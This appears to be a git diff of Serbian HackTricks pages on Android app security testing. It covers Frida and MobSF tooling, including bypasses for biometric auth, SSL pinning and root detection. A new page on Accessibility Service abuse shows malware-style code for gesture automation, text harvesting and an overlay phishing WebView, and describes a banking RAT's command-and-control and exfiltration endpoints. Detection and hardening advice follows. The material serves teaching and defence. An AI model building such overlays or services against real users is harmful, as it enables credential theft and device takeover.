- Neki "GUI" za akcije sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection je odličan za automatizaciju korišćenja Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Možete pronaći neke sjajne Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Pokušajte da zaobiđete anti-debugging / anti-frida mehanizme učitavajući Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
- Pokušajte da zaobiđete mehanizme protiv debagovanja / anti-frida učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
### **Dump Memorije - Fridump**
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemoničke fraze.
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemotehničke asocijacije.
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dumpovati memoriju aplikacije sa:
```bash
@ -476,9 +477,9 @@ Korišćenjem sledećeg Frida skripta može biti moguće **zaobići autentifikac
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Pozadine slika**
### **Pozadinske slike**
Kada stavite aplikaciju u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u fokus, počinje da učitava sliku pre aplikacije, tako da izgleda kao da je aplikacija učitana brže.
Kada stavite aplikaciju u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u fokus, počinje da učitava sliku pre aplikacije, pa izgleda kao da je aplikacija učitana brže.
Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup snimku može **ukrasti te informacije** (napomena: potrebno je imati root pristup da biste mu pristupili).
@ -533,14 +534,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Obratite pažnju da MobSF može analizirati **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacije (_Windows aplikacije moraju biti analizirane sa MobSF instaliranim na Windows hostu_).\
Takođe, ako kreirate **ZIP** datoteku sa izvorni kodom **Android** ili **IOS** aplikacije (idite u korenski folder aplikacije, izaberite sve i kreirajte ZIP datoteku), moći će da je analizira.
MobSF takođe omogućava **diff/Compare** analizu i integraciju **VirusTotal** (biće potrebno da postavite svoj API ključ u _MobSF/settings.py_ i omogućite ga: `VT_ENABLED = TRUE` `VT_API_KEY = <Vaš API ključ>` `VT_UPLOAD = TRUE`). Takođe možete postaviti `VT_UPLOAD` na `False`, tada će **hash** biti **upload** umesto datoteke.
MobSF takođe omogućava **diff/Compare** analizu i integraciju sa **VirusTotal** (biće potrebno da postavite svoj API ključ u _MobSF/settings.py_ i omogućite ga: `VT_ENABLED = TRUE` `VT_API_KEY = <Vaš API ključ>` `VT_UPLOAD = TRUE`). Takođe možete postaviti `VT_UPLOAD` na `False`, tada će **hash** biti **upload** umesto datoteke.
### Pomoćna dinamička analiza sa MobSF
**MobSF** može biti veoma koristan za **dinamičku analizu** u **Android**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\
**MobSF** može biti veoma koristan za **dinamičku analizu** u **Androidu**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\
**MobSF dinamički analizer** može:
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi koje je napravio "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshot-ove, treba da pritisnete kada želite screenshot ili treba da pritisnete "**Exported Activity Tester**" da biste dobili screenshot-ove svih eksportovanih aktivnosti.
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshotovi koje ste napravili, screenshotovi napravljeni od strane "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se automatski radi osim za screenshotove, treba da pritisnete kada želite screenshot ili treba da pritisnete "**Exported Activity Tester**" da biste dobili screenshotove svih eksportovanih aktivnosti.
- Zabeleži **HTTPS saobraćaj**
- Koristi **Frida** za dobijanje **runtime** **informacija**
@ -548,24 +549,24 @@ Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće glob
**Frida**
Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje interesantnih API-a**.\
MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshot-ove** njih i **sačuvati** ih za izveštaj.
Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje interesantnih API-ja**.\
MobSF takođe može **pozvati eksportovane aktivnosti**, uzeti **screenshotove** njih i **sačuvati** ih za izveštaj.
Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da biste videli logove generisane Frida skriptama i "**Live API Monitor**" da biste videli sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\
MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate vaših Frida skripti u MobSF koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate svojih Frida skripti u MobSF koristite funkciju `send()`). Takođe ima **nekoliko unapred napisanih skripti** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
![](<../../images/image (419).png>)
Pored toga, imate neke pomoćne Frida funkcionalnosti:
- **Enumerate Loaded Classes**: Ispisaće sve učitane klase
- **Capture Strings**: Ispisaće sve uhvaćene stringove dok koristite aplikaciju (super bučno)
- **Capture Strings**: Ispisaće sve uhvaćene stringove dok koristite aplikaciju (veoma bučno)
- **Capture String Comparisons**: Može biti veoma korisno. **Prikazaće 2 stringa koja se upoređuju** i da li je rezultat bio True ili False.
- **Enumerate Class Methods**: Unesite ime klase (kao "java.io.File") i ispisuje sve metode klase.
- **Search Class Pattern**: Pretražuje klase po obrascu
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko interesantnih Android API metoda.
Kada izaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
Kada odaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
**Shell**
@ -599,7 +600,7 @@ Ovaj alat koristi neke **Hooks** da vam pokaže **šta se dešava u aplikaciji**
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Ovo je **sjajan alat za izvođenje statičke analize sa GUI**
Ovo je **sjajan alat za izvođenje statičke analize sa GUI-jem**
![](<../../images/image (741).png>)
@ -637,7 +638,7 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn je **crossplatform** alat koji pomaže programerima, lovcima na greške i etičkim hakerima u izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
StaCoAn je **crossplatform** alat koji pomaže programerima, lovcima na greške i etičkim hakerima da izvrše [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
Koncept je da prevučete i ispustite datoteku vaše mobilne aplikacije (datoteka .apk ili .ipa) na StaCoAn aplikaciju i ona će generisati vizuelni i prenosivi izveštaj za vas. Možete prilagoditi postavke i liste reči kako biste dobili prilagođeno iskustvo.
@ -688,7 +689,7 @@ Imajte na umu da zavisno od usluge i konfiguracije koju koristite za obfuskaciju
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Sa [Vikipedije](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
Sa [Vikipedije](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da otkrije i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja.
@ -706,11 +707,11 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f
### [DeGuard](http://apk-deguard.com)
**DeGuard obrnuto izvršava proces obfuskacije koji su izvršili alati za obfuskaciju Android-a. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
**DeGuard obrnuta proces obfuskacije koji izvode Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
Možete da otpremite obfuskovani APK na njihovu platformu.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov javni API Gemini.
@ -720,7 +721,7 @@ To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplika
### [APKiD](https://github.com/rednaga/APKiD)
APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore** i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore**, i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
### Manual
@ -736,7 +737,7 @@ AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To je odlična lista resursa
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Brzi kurs o Android-u
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Brzi kurs o Androidu
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)

View File

@ -0,0 +1,145 @@
# Android Accessibility Service Abuse
{{#include ../../banners/hacktricks-training.md}}
## Pregled
`AccessibilityService` je stvoren da pomogne korisnicima sa invaliditetom da interaguju sa Android uređajima. Nažalost, iste **moćne automatizacione API** (globalna navigacija, unos teksta, raspodela gestova, prozori preklapanja…) mogu biti zloupotrebljene od strane malvera da dobiju **potpunu daljinsku kontrolu** nad uređajem _bez root privilegija_.
Moderni Android bankovni trojanci i trojanci za daljinski pristup (RAT) kao što su **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i mnogi drugi prate isti recept:
1. Socijalno inženjerstvo žrtve da omogući zlonamerne usluge pristupa (dozvola *BIND_ACCESSIBILITY_SERVICE* se smatra "visokog rizika" i zahteva eksplicitnu akciju korisnika).
2. Iskoristiti uslugu da
* zabeleži svaki UI događaj i tekst koji se pojavljuje na ekranu,
* injektuje sintetičke geste (`dispatchGesture`) i globalne akcije (`performGlobalAction`) da automatizuje bilo koju radnju koju operater želi,
* crta prozore preklapanja preko legitimnih aplikacija koristeći tip prozora **TYPE_ACCESSIBILITY_OVERLAY** (bez `SYSTEM_ALERT_WINDOW` obaveštenja!),
* tiho dodeli dodatne dozvole u vreme izvođenja klikom na sistemske dijaloge u ime žrtve.
3. Ekstrahuje podatke ili izvrši **On-Device-Fraud (ODF)** u realnom vremenu dok korisnik gleda na savršeno normalan ekran.
---
## Zahtev za dozvolu
```xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
```
Prateći XML definiše kako će izgledati lažni dijalog:
```xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
```
---
## Primitivi za automatsko upravljanje udaljenim korisničkim interfejsom
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
Sa samo ova dva API-ja, napadač može:
* Otključati ekran, otvoriti bankarsku aplikaciju, navigirati njenom UI stablu i poslati obrazac za transfer.
* Prihvatiti svaki dijalog o dozvolama koji se pojavi.
* Instalirati/aktuelizovati dodatne APK-ove putem Play Store intencija.
---
## Obrasci zloupotrebe
### 1. Overlay Phishing (Prikupljanje akreditiva)
Prozirni ili neprozirni `WebView` se dodaje menadžeru prozora:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
Žrtva unosi kredencijale u lažni obrazac dok pozadinska aplikacija prima iste geste nikada se ne prikazuje sumnjivi "crtaj preko drugih aplikacija" promp.
> Detaljan primer: sekcija *Accessibility Overlay Phishing* unutar stranice Tapjacking.
### 2. Automatizacija prevara na uređaju
Malware porodice kao što je **PlayPraetor** održavaju postojanu WebSocket vezu gde operater može izdavati komande na visokom nivou (`init`, `update`, `alert_arr`, `report_list`, …). Usluga prevodi te komande u niske geste iznad, ostvarujući neovlašćene transakcije u realnom vremenu koje lako zaobilaze višefaktorsku autentifikaciju vezanu za taj uređaj.
### 3. Streaming i nadzor ekrana
Kombinovanjem **MediaProjection API** sa RTMP klijentskom bibliotekom, RAT može emitovati uživo framebuffer na `rtmp://<c2>:1935/live/<device_id>`, dajući protivniku savršenu situacionu svest dok Accessibility engine upravlja UI-jem.
---
## PlayPraetor radni tok komande i kontrole
1. **HTTP(S) heartbeat** iterirajte preko hard-kodirane liste dok jedan domen ne odgovori `POST /app/searchPackageName` sa aktivnim C2.
2. **WebSocket (port 8282)** dvostrani JSON komande:
* `update` push nove konf/APK
* `alert_arr` konfigurišite overlay šablone
* `report_list` pošaljite listu ciljanih imena paketa
* `heartbeat_web` keep-alive
3. **RTMP (port 1935)** live streaming ekrana/videa.
4. **REST exfiltracija**
* `/app/saveDevice` (otisci)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (bankovni kredencijali)
**AccessibilityService** je lokalni engine koji pretvara te cloud komande u fizičke interakcije.
---
## Otkrivanje zlonamernih usluga pristupa
* `adb shell settings get secure enabled_accessibility_services`
* Podešavanja → Pristupnost → *Preuzete usluge* potražite aplikacije koje **nisu** sa Google Play-a.
* MDM / EMM rešenja mogu primeniti `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) da blokiraju sideloaded usluge.
* Analizirajte aktivne usluge:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Preporuke za jačanje za programere aplikacija
* Obeležite osetljive prikaze sa `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Kombinujte `setFilterTouchesWhenObscured(true)` sa `FLAG_SECURE` da sprečite otmicu dodira/overlay-a.
* Otkrivajte overlay-e anketiranjem `WindowManager.getDefaultDisplay().getFlags()` ili `ViewRootImpl` API-jem.
* Odbijte rad kada je `Settings.canDrawOverlays()` **ili** aktivna neproverena Accessibility usluga.
---
## Reference
* [PlayPraetors evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## **Osnovne informacije**
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo zakloni aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje s njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo zakloni aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje sa njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
U suštini, to **oslepljuje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
### Detekcija
@ -56,7 +56,7 @@ Možete koristiti [**qark**](https://github.com/linkedin/qark) sa `--exploit-apk
Mitracija je relativno jednostavna jer programer može odlučiti da ne prima dodirne događaje kada je prikaz prekriven drugim. Koristeći [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
> Ponekad je od suštinskog značaja da aplikacija može da verifikuje da se akcija vrši uz puno znanje i pristanak korisnika, kao što je odobravanje zahteva za dozvolu, kupovina ili klik na oglas. Nažalost, maliciozna aplikacija bi mogla pokušati da prevari korisnika da izvrši ove akcije, nesvesno, prikrivanjem namene prikaza. Kao rešenje, okvir nudi mehanizam filtriranja dodira koji se može koristiti za poboljšanje bezbednosti prikaza koji pružaju pristup osetljivoj funkcionalnosti.
> Ponekad je od suštinskog značaja da aplikacija može da verifikuje da se akcija vrši uz puno znanje i pristanak korisnika, kao što je odobravanje zahteva za dozvolu, kupovina ili klik na oglas. Nažalost, maliciozna aplikacija bi mogla pokušati da prevari korisnika da izvrši ove akcije, nesvesno, prikrivajući namenu prikaza. Kao rešenje, okvir nudi mehanizam filtriranja dodira koji se može koristiti za poboljšanje bezbednosti prikaza koji pružaju pristup osetljivoj funkcionalnosti.
>
> Da biste omogućili filtriranje dodira, pozovite [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ili postavite android:filterTouchesWhenObscured atribut rasporeda na true. Kada je omogućeno, okvir će odbaciti dodire koji se primaju kada je prozor prikaza prekriven drugim vidljivim prozorom. Kao rezultat, prikaz neće primati dodire kada se iznad prozora prikaza pojavi toast, dijalog ili drugi prozor.
@ -69,7 +69,7 @@ Pored klasičnog Tapjacking-a, moderne Android bankarske malver porodice (npr. *
### Kako to funkcioniše
1. Maliciozni APK traži visoko osetljivu dozvolu `BIND_ACCESSIBILITY_SERVICE`, obično skrivajući zahtev iza lažnog Google/Chrome/PDF-prikazivača dijaloga.
2. Kada korisnik omogući uslugu, malver programatski simulira dodire potrebne za odobravanje dodatnih opasnih dozvola (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
3. **WebView** se inflira i dodaje menadžeru prozora koristeći **`TYPE_ACCESSIBILITY_OVERLAY`** tip prozora. Overlay može biti potpuno neprozirna ili poluprozirna i može biti označena kao *“prolazna”* tako da se originalni dodiri i dalje isporučuju pozadinskoj aktivnosti (tako da se transakcija zaista dešava dok žrtva vidi samo phishing formu).
3. **WebView** se inflira i dodaje menadžeru prozora koristeći **`TYPE_ACCESSIBILITY_OVERLAY`** tip prozora. Overlay može biti potpuno neprozirna ili poluprozirna i može biti označena kao *“prolazna”* tako da se originalni dodiri i dalje isporučuju pozadinskoj aktivnosti (tako da transakcija zaista prolazi dok žrtva vidi samo phishing formu).
```java
WebView phishingView = new WebView(getApplicationContext());
phishingView.getSettings().setJavaScriptEnabled(true);
@ -92,14 +92,20 @@ wm.addView(phishingView, lp);
* Koristite **Accessibility API** (`performGlobalAction`, `GestureDescription`) za automatizaciju transfera u pozadini.
### Detekcija i ublažavanje
* Revizija liste instaliranih aplikacija sa `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
* Proverite listu instaliranih aplikacija sa `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
* Sa strane aplikacije (banka / novčanik):
- Omogućite **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) na osetljivim prikazima da blokirate usluge koje nisu iz Play prodavnice.
- Kombinujte sa `setFilterTouchesWhenObscured(true)` i `FLAG_SECURE`.
* Ojačavanje sistema:
- Onemogućite *Instaliraj iz nepoznatih izvora* i *Pristupnost za nepouzdane aplikacije*.
- Onemogućite *Instaliranje iz nepoznatih izvora* i *Pristupnost za nepouzdane aplikacije*.
- Primorajte PlayProtect i ažurirane uređaje.
Za dodatne detalje o korišćenju usluga pristupa za potpunu daljinsku kontrolu uređaja (npr. PlayPraetor, SpyNote, itd.) pogledajte:
{{#ref}}
accessibility-services-abuse.md
{{#endref}}
## Reference
* [Bitsight ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)